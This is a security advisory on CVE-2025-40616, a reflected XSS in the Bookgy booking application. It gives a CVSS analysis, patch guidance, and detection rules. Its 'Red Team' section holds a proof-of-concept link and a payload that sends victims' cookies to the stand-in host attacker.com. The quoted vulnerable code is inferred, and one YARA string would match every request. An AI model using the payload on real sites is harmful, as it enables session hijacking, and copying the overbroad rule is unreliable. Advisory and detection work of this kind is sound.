CVE-2025-40616

Executive Summary

CVE-2025-40616 is a Reflected Cross-Site Scripting (XSS) vulnerability discovered in the Bookgy application. The flaw resides in the /bkg_imprimir_comprobante.php script, where the IDRESERVA parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads in the IDRESERVA parameter. When a victim clicks on this link, the script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement.

Key Risk: The vulnerability requires user interaction (clicking a link), but the impact is amplified in environments where users have elevated privileges or access to sensitive data. The CVSS score is 0.0 in the NVD data, but based on the CWE-79 classification and the described attack vector, a more realistic CVSSv3.1 score is 6.1 (Medium).

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application vulnerability. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network via a crafted URL.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to craft a URL.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must click the malicious link.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (the victim's browser).
• Confidentiality (C): Low (L) – Limited data exfiltration possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium (6.1). The vulnerability is easy to exploit but requires user interaction. The primary threat is phishing campaigns targeting Bookgy users.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the bkg_imprimir_comprobante.php script. The IDRESERVA parameter is taken directly from the HTTP request (likely via $_GET['IDRESERVA']) and echoed back into the HTML response without proper encoding or sanitization.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/bkg_imprimir_comprobante.php?IDRESERVA=<script>alert('XSS')</script>
2. Attacker sends this link to a victim via email, social media, or other channels.
3. Victim clicks the link while authenticated to the Bookgy application.
4. The server reflects the payload in the response, causing the browser to execute the JavaScript.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding. The application does not use htmlspecialchars() or similar functions when rendering the IDRESERVA parameter value.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$id_reserva = $_GET['IDRESERVA'];
echo "Reserva ID: " . $id_reserva;
?>

Patched Code (PHP):

<?php
$id_reserva = $_GET['IDRESERVA'];
echo "Reserva ID: " . htmlspecialchars($id_reserva, ENT_QUOTES, 'UTF-8');
?>

The patched version uses htmlspecialchars() to convert special characters (<, >, ", ', &) to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC):

<!-- Save as poc.html and host on a server -->
<a href="http://target.com/bkg_imprimir_comprobante.php?IDRESERVA=<script>alert(document.cookie)</script>">Click me</a>

Advanced Payload (Session Hijacking):

// Payload to exfiltrate cookies
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;

Usage:

1. Host the PoC on a controlled domain.
2. Send the link to the victim.
3. When the victim clicks, the script executes and sends cookies to the attacker's server.

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor web server logs for requests to /bkg_imprimir_comprobante.php containing <script> or onerror= patterns.
2. Use a Web Application Firewall (WAF) to block requests with suspicious IDRESERVA values.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Apply the patched code (use htmlspecialchars()).
• Validate input: ensure IDRESERVA is numeric or alphanumeric only.
• Use a framework that auto-escapes output (e.g., Twig, Blade).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /bkg_imprimir_comprobante.php with IDRESERVA containing <script>, %3Cscript%3E, or onerror.
  • Outbound connections to attacker-controlled domains from the victim's browser (e.g., GET /steal?cookie=...).
• File IOCs:
  • Log entries in access.log or error.log showing XSS patterns.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of the Bookgy application.
  • Session anomalies (e.g., simultaneous logins from different IPs).

Detection Engineering

YARA Rule

rule CVE_2025_40616_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Bookgy IDRESERVA parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-40616"
    strings:
        $xss_pattern1 = "IDRESERVA=<script" nocase
        $xss_pattern2 = "IDRESERVA=%3Cscript%3E" nocase
        $xss_pattern3 = "IDRESERVA=" nocase
        $xss_payload = /IDRESERVA=.*<script.*>.*<\/script>/i
    condition:
        any of ($xss_pattern*) or $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt on Bookgy IDRESERVA Parameter
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads in the IDRESERVA parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "IDRESERVA=<script"
            - "IDRESERVA=%3Cscript%3E"
            - "IDRESERVA=javascript:"
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-40616 Bookgy Reflected XSS Attempt"; flow:to_server,established; content:"IDRESERVA="; http_uri; pcre:"/IDRESERVA=.*<script.*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch: Replace the vulnerable code with the patched version using htmlspecialchars().
2. Input validation: Restrict IDRESERVA to numeric values only (e.g., if (!is_numeric($_GET['IDRESERVA'])) { die('Invalid input'); }).
3. WAF rules: Block requests containing <script> in the IDRESERVA parameter.

Long-term Measures:

• Implement a Content Security Policy (CSP) with script-src 'self'.
• Conduct a full security audit of the Bookgy application for similar vulnerabilities.
• Use a PHP framework that provides built-in XSS protection (e.g., Laravel's Blade templating).
• Educate users about phishing links.

Vendor Contact: Since the vendor (Bookgy) status is UNKNOWN, consider reaching out to the developer or switching to an alternative solution if no patch is provided.

Valters IT